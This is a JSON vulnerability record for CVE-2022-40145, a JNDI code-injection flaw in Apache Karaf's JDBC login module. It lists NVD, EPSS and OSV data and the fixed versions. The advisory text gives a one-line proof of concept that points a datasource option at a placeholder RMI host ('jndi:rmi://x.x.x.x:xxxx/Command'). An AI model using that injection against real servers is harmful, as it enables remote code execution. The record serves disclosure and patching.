{"cve":"CVE-2022-40145","nvd":{"published":"2022-12-21T16:15:08.930","modified":"2026-06-17T05:01:01.763","status":"Modified","description":"This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\n\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\nuse InitialContext.lookup(jndiName) without filtering.\nAn user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup.\n\nThis is vulnerable to a remote code execution (RCE) attack when a\nconfiguration uses a JNDI LDAP data source URI when an attacker has\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\n\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8","cvss_v4":null,"cvss_v3":{"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8},"cwes":["CWE-20","CWE-74"],"references":["https://karaf.apache.org/security/cve-2022-40145.txt","https://karaf.apache.org/security/cve-2022-40145.txt"],"products":["apache:karaf"],"source":"nvd","synced_at":"2026-10-19T21:37:31.370122805+00:00"},"epss":{"cve":"CVE-2022-40145","score":0.02596,"percentile":0.85328,"date":"2026-10-31"},"kev":null,"osv":[{"id":"GHSA-c2p4-8mvv-rwmv","url":"https://osv.dev/vulnerability/GHSA-c2p4-8mvv-rwmv","summary":"Apache Karaf vulnerable to potential code injection","modified":"2025-04-15T18:55:39.395392Z","packages":[{"ecosystem":"Maven","name":"org.apache.karaf:apache-karaf","purl":"pkg:maven/org.apache.karaf/apache-karaf","ranges":["<4.3.8"],"fixed":["4.3.8"]},{"ecosystem":"Maven","name":"org.apache.karaf:apache-karaf","purl":"pkg:maven/org.apache.karaf/apache-karaf","ranges":[">=4.4.0 <4.4.2"],"fixed":["4.4.2"]}]}],"attribution":["This product uses the NVD API but is not endorsed or certified by the NVD.","EPSS scores: FIRST Exploit Prediction Scoring System, https://www.first.org/epss","Known exploited vulnerabilities: CISA Known Exploited Vulnerabilities Catalog, https://www.cisa.gov/known-exploited-vulnerabilities-catalog","Package advisories: OSV (https://osv.dev), from the GitHub Advisory Database, PyPA, Go, RustSec and other ecosystem databases, under CC-BY 4.0 or CC0","CVE records: the CVE Program's CVE List (https://www.cve.org), under its terms of use (https://www.cve.org/Legal/TermsOfUse). CVE is a registered trademark of The MITRE Corporation; this product is not affiliated with the CVE Program."]}